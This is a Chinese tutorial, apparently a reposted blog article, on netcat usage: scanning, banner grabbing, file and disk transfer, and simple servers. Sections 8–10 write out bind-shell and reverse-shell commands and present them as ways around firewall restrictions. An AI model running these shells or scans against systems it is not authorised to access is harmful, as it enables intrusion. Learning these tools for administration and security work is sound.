Linux系統中nc工具那些不為人知的用法


Linux nc命令用法

參考地址:https://www.cnblogs.com/jjzd/p/6306273.html

-g<網關>:設置路由器躍程通信網關,最多設置8個;
-G<指向器數目>:設置來源路由指向器,其數值為4的倍數;
-h:在線幫助;
-i<延遲秒數>:設置時間間隔,以便傳送信息及掃描通信端口;
-l:使用監聽模式,監控傳入的資料;
-n:直接使用ip地址,而不通過域名服務器;
-o<輸出文件>:指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存;
-p<通信端口>:設置本地主機使用的通信端口;
-r:指定源端口和目的端口都進行隨機的選擇;
-s<來源位址>:設置本地主機送出數據包的IP地址;
-u:使用UDP傳輸協議;
-v:顯示指令執行過程;
-w<超時秒數>:設置等待連線的時間;
-z:使用0輸入/輸出模式,只在掃描通信端口時使用。

 


首先查看是否安裝了nc工具

rpm -qa | grep ^nmap-ncat || yum -y install nmap-ncat

 

監聽本地主機:
$nc -l 80
連接到遠程主機:
nc -nvv 192.168.x.x 80
連到192.168.x.x的TCP80端口.

Server:$nc -l 2389
Client:$ nc -w 10 localhost 2389
使用 -w 參數來指定連接的空閑超時時間,該參數緊接一個數值,代表秒數,如果連接超過指定時間則連接會被終止

 

1、端口掃描
nc -z -v -n 192.168.1.1 21-25
連續端口寫成 21-25
z 參數告訴netcat使用0 IO,連接成功后立即關閉連接, 不進行數據交換.
v 參數指詳細輸出.
n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名.

# 以下這條命令可以指定ip,或者域名
nc -v 127.0.0.1 22 
localhost [127.0.0.1] 22 (ssh) open SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
"SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4"為Banner信息。Banner是一個文本,Banner是一個你連接的服務發送給你的文本信息。當你試圖鑒別漏洞或者服務的類型和版本的時候,Banner信息是非常有用的。但是,並不是所有的服務都會發送banner.一旦你發現開放的端口,你可以容易的使用netcat 連接服務抓取他們的banner。

2、Chat Server
假如你想和你的朋友聊聊,有很多的軟件和信息服務可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計算機實驗室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你只需要創建一個Chat服務器,一個預先確定好的端口,這樣子他就可以聯系到你了。
Server:$nc -l 20000
netcat 命令在20000端口啟動了一個tcp 服務器,所有的標准輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。
Client:$nc 192.168.1.1 20000

3、文件傳輸
Server$nc -l 20000 < file.txt
Client$nc -n 192.168.1.1 20000 > file.txt

4、目錄傳輸
Server:tar -cvf – dir_name | nc -l 20000
Client:$nc -n 192.168.1.1 20000 | tar -xvf -

5、加密你通過網絡發送的數據
Server:$nc localhost 20000 | mcrypt –flush –bare -F -q -d -m ecb > file.txt使用mcrypt工具加密數據。
Client:$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 20000
使用mcrypt工具解密數據。
以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。
這里我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

6、流視頻
Server:$cat video.avi | nc -l 20000
這里我們只是從一個視頻文件中讀入並重定向輸出到netcat客戶端
Client:$nc 192.168.1.1 20000 | mplayer -vo x11 -cache 3000 -
這里我們從socket中讀入數據並重定向到mplayer。

7、克隆一個設備
如果你已經安裝配置一台Linux機器並且需要重復同樣的操作對其他的機器,而你不想在重復配置一遍。不在需要重復配置安裝的過程,只啟動另一台機器的一些引導可以隨身碟和克隆你的機器。
克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上
Server:
$dd if=/dev/sda | nc -l 20000
Client:
$nc -n 192.168.1.1 20000 | dd of=/dev/sda
dd是一個從磁盤讀取原始數據的工具,我通過netcat服務器重定向它的輸出流到其他機器並且寫入到磁盤中,它會隨着分區表拷貝所有的信息。但是如果我們已經做過分區並且只需要克隆root分區,我們可以根據我們系統root分區的位置,更改sda 為sda1,sda2.等等。

8、打開一個shell
我們已經用過遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝並且我們沒有權限安裝他們,我們也可以使用netcat創建遠程shell。
假設你的netcat支持 -c -e 參數(原生 netcat)
Server
$nc -l 20000 -e /bin/bash -i
Client
$nc 192.168.1.1 20000這里我們已經創建了一個netcat服務器並且表示當它連接成功時執行/bin/bash
假如netcat 不支持-c 或者 -e 參數(openbsd netcat),我們仍然能夠創建遠程shell
Server
$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo這里我們創建了一個fifo文件,然后使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標准錯誤輸出和標准輸出,然后管道到netcat 運行的端口20000上。至此,我們已經把netcat的輸出重定向到fifo文件中。
說明:
從網絡收到的輸入寫到fifo文件中
cat 命令讀取fifo文件並且其內容發送給sh命令
sh命令進程受到輸入並把它寫回到netcat。
netcat 通過網絡發送輸出到client
至於為什么會成功是因為管道使命令平行執行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束並開始讀取空文件。
在客戶端僅僅簡單連接到服務器
Client
$nc -n 192.168.1.1 20000你會得到一個shell提示符在客戶端

9、反向shell
反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同於其他配置,這里服務器使用的是由客戶提供的服務。
Server
$nc -l 20000在客戶端,簡單地告訴netcat在連接完成后,執行shell。
Client
$nc 192.168.1.1 20000 -e /bin/bash現在,什么是反向shell的特別之處呢
反向shell經常被用來繞過防火牆的限制,如阻止入站連接。例如,我有一個專用IP地址為192.168.1.1,我使用代理服務器連接到外部網絡。如果我想從網絡外部訪問 這台機器如1.2.3.4的shell,那么我會用反向外殼用於這一目的。

10、指定源端口
假設你的防火牆過濾除25端口外其它所有端口,你需要使用-p選項指定源端口。
Server
$nc -l 20000Client
$nc 192.168.1.1 20000 25使用1024以內的端口需要root權限。
該命令將在客戶端開啟25端口用於通訊,否則將使用隨機端口。

11、指定源地址
假設你的機器有多個地址,希望明確指定使用哪個地址用於外部數據通訊。我們可以在netcat中使用-s選項指定ip地址。
Server
$nc -u -l 20000 < file.txtClient
$nc -u 192.168.1.1 20000 -s 172.31.100.5 > file.txt該命令將綁定地址172.31.100.512、靜態web頁面服務器
新建一個網頁,命名為somepage.html;
新建一個shell script:
while true; do
nc -l 80 -q 1 < somepage.html;
done用root權限執行,然后在瀏覽器中輸入127.0.0.1打開看看是否正確運行。
nc 指令通常都是給管理者進行除錯或測試等動作用的,所以如果只是單純需要臨時的網頁伺服器,使用 Python 的 SimpleHTTPServer 模組會比較方便。

13、模擬HTTP Headers
$nc www.huanxiangwu.com 80
GET / HTTP/1.

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM